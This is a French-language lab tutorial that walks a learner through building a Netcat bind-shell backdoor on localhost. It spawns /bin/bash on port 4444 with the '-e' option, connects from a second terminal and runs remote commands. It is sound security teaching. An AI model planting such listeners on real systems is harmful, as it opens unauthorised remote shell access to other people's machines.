Introduction
Dans ce laboratoire, vous apprendrez à créer une backdoor basique à l'aide de Netcat, un utilitaire réseau polyvalent. Une backdoor est une méthode permettant de contourner l'authentification normale pour obtenir un accès à distance à un ordinateur. Vous vous entraînerez à configurer un écouteur sur une machine "victime" simulée et à vous y connecter depuis une machine "attaquante" simulée pour exécuter des commandes à distance. Ce laboratoire démontre des concepts fondamentaux de mise en réseau utilisés en cybersécurité, offrant un aperçu des techniques offensives et de la sensibilisation défensive.
Comprendre Netcat
Netcat (ou nc) est un utilitaire en ligne de commande permettant de lire et d'écrire sur des connexions réseau en utilisant TCP ou UDP. Il est souvent surnommé le "couteau suisse pour TCP/IP" en raison de sa polyvalence. Dans ce laboratoire, le script d'installation a déjà installé une version de Netcat adaptée à notre objectif.
Tout d'abord, vérifions que Netcat est installé et affichons son menu d'aide. Cela nous montrera les options disponibles.
Exécutez la commande suivante dans votre terminal :
nc -h
Vous devriez voir une liste d'options de commande. La sortie ressemblera à ceci (les versions peuvent varier) :
[v1.10-41]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [-options] [hostname] [port]
options:
-c shell commands as `-e'; use /bin/sh to exec [dangerous!!]
-e filename program to exec after connect [dangerous!!]
-b allow broadcasts
...
Portez une attention particulière aux options -e et -c. La sortie les marque explicitement comme "dangereuses" (dangerous). C'est parce qu'elles vous permettent d'exécuter un programme, tel qu'un shell de commande, et de le connecter à un port réseau. C'est exactement la fonctionnalité que nous utiliserons pour créer notre backdoor. Comprendre pourquoi les fonctionnalités d'un outil sont considérées comme dangereuses est un élément clé de l'apprentissage de la cybersécurité.
Créer l'écouteur de la backdoor
Dans cette étape, vous allez configurer un terminal pour qu'il agisse comme la machine "victime". Cette machine exécutera un écouteur Netcat qui attendra une connexion entrante. Lorsqu'une connexion sera établie, elle accordera à la personne qui se connecte un shell de commande, créant ainsi une backdoor.
Nous utiliserons le port 4444 pour cet exercice. Les ports sont des points de terminaison de communication qui permettent d'accéder à différents services sur une machine via un réseau.
Dans votre terminal actuel, exécutez la commande suivante pour démarrer l'écouteur :
nc -lvnp 4444 -e /bin/bash
Décomposons cette commande :
-l: Met Netcat en mode écoute, attendant les connexions entrantes.-v: Active le mode verbeux, fournissant plus de détails sur la connexion.-n: Indique à Netcat d'utiliser des adresses IP numériques au lieu de résoudre les noms d'hôtes, ce qui peut être plus rapide.-p 4444: Spécifie le port sur lequel écouter, dans ce cas, le port4444.-e /bin/bash: C'est la partie la plus critique. Elle indique à Netcat d'exécuter le programme/bin/bash(le shell Bash) et de connecter son entrée et sa sortie au socket réseau dès qu'un client se connecte.
Après avoir exécuté la commande, votre terminal affichera un message indiquant qu'il écoute, puis semblera se bloquer. C'est normal. Il attend maintenant une connexion.
listening on [any] 4444 ...
Ne fermez pas ce terminal. Nous l'appellerons le terminal victime. Vous devrez ouvrir un nouveau terminal pour l'étape suivante.
Se connecter à la backdoor
Maintenant, vous allez jouer le rôle de "l'attaquant". Vous ouvrirez un nouveau terminal et utiliserez Netcat pour vous connecter à l'écouteur que vous avez démarré à l'étape précédente. Comme la "victime" et "l'attaquant" sont sur la même machine dans ce laboratoire, vous vous connecterez à l'adresse IP localhost, qui est 127.0.0.1.
Tout d'abord, ouvrez un nouveau terminal. Vous pouvez le faire en faisant un clic droit dans la zone du terminal et en sélectionnant "Nouvel onglet" ou en utilisant le raccourci Ctrl+Shift+T. Nous appellerons ce nouveau terminal le terminal attaquant.
Dans le nouveau terminal attaquant, exécutez la commande suivante pour vous connecter à l'écouteur :
nc 127.0.0.1 4444
Après avoir exécuté cette commande, vous verrez un message de connexion dans le terminal victime :
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 33333
(Le numéro de port 33333 sera un port aléatoire à nombre élevé)
Votre terminal attaquant affichera maintenant un curseur clignotant, mais sans invite de commande. C'est parce que vous êtes maintenant à l'intérieur du shell Bash qui s'exécute sur le terminal victime. Vous avez réussi à établir un shell distant. Toute commande que vous taperez ici sera exécutée sur la machine "victime".
Exécuter des commandes à distance
Vous disposez maintenant d'un shell distant. Testons-le en exécutant quelques commandes depuis le terminal attaquant. Ces commandes seront exécutées dans le contexte du terminal victime.
Dans le terminal attaquant, tapez la commande suivante et appuyez sur Entrée :
whoami
La sortie sera labex, qui est le compte utilisateur du shell victime.
labex
Maintenant, trouvons le répertoire de travail actuel du shell distant :
pwd
La sortie affichera le répertoire personnel de l'utilisateur labex.
/home/labex/project
Pour prouver que vous avez le contrôle, créons un fichier sur le système "victime". Exécutez cette commande dans le terminal attaquant :
echo "Backdoor was here" > /tmp/proof.txt
Cette commande crée un fichier nommé proof.txt dans le répertoire /tmp avec un texte à l'intérieur. Vous ne verrez aucune sortie.
Maintenant, vérifions que le fichier a été créé. Dans le terminal attaquant, lisez le contenu du fichier :
cat /tmp/proof.txt
Vous devriez voir le texte que vous venez d'écrire :
Backdoor was here

Vous avez réussi à exécuter des commandes à distance et à modifier le système de fichiers de la victime. Pour terminer la session, vous pouvez appuyer sur Ctrl+C dans le terminal attaquant. Cela fermera la connexion, et le processus d'écoute Netcat dans le terminal victime se terminera également.
Résumé
Dans ce laboratoire, vous avez appris à créer et interagir avec une simple backdoor en utilisant Netcat. Vous avez pratiqué la mise en place d'un écouteur sur une machine "victime" en utilisant les options -l, -p et -e pour servir un shell de commande. Vous avez ensuite agi en tant qu'"attaquant" en vous connectant à cet écouteur depuis un autre terminal et en exécutant des commandes à distance.
Cet exercice démontre une capacité puissante, bien que dangereuse, de Netcat. Comprendre comment de tels outils peuvent être utilisés pour un accès non autorisé est une compétence fondamentale en cybersécurité, vous aidant à mieux reconnaître, prévenir et vous défendre contre des attaques similaires dans le monde réel.



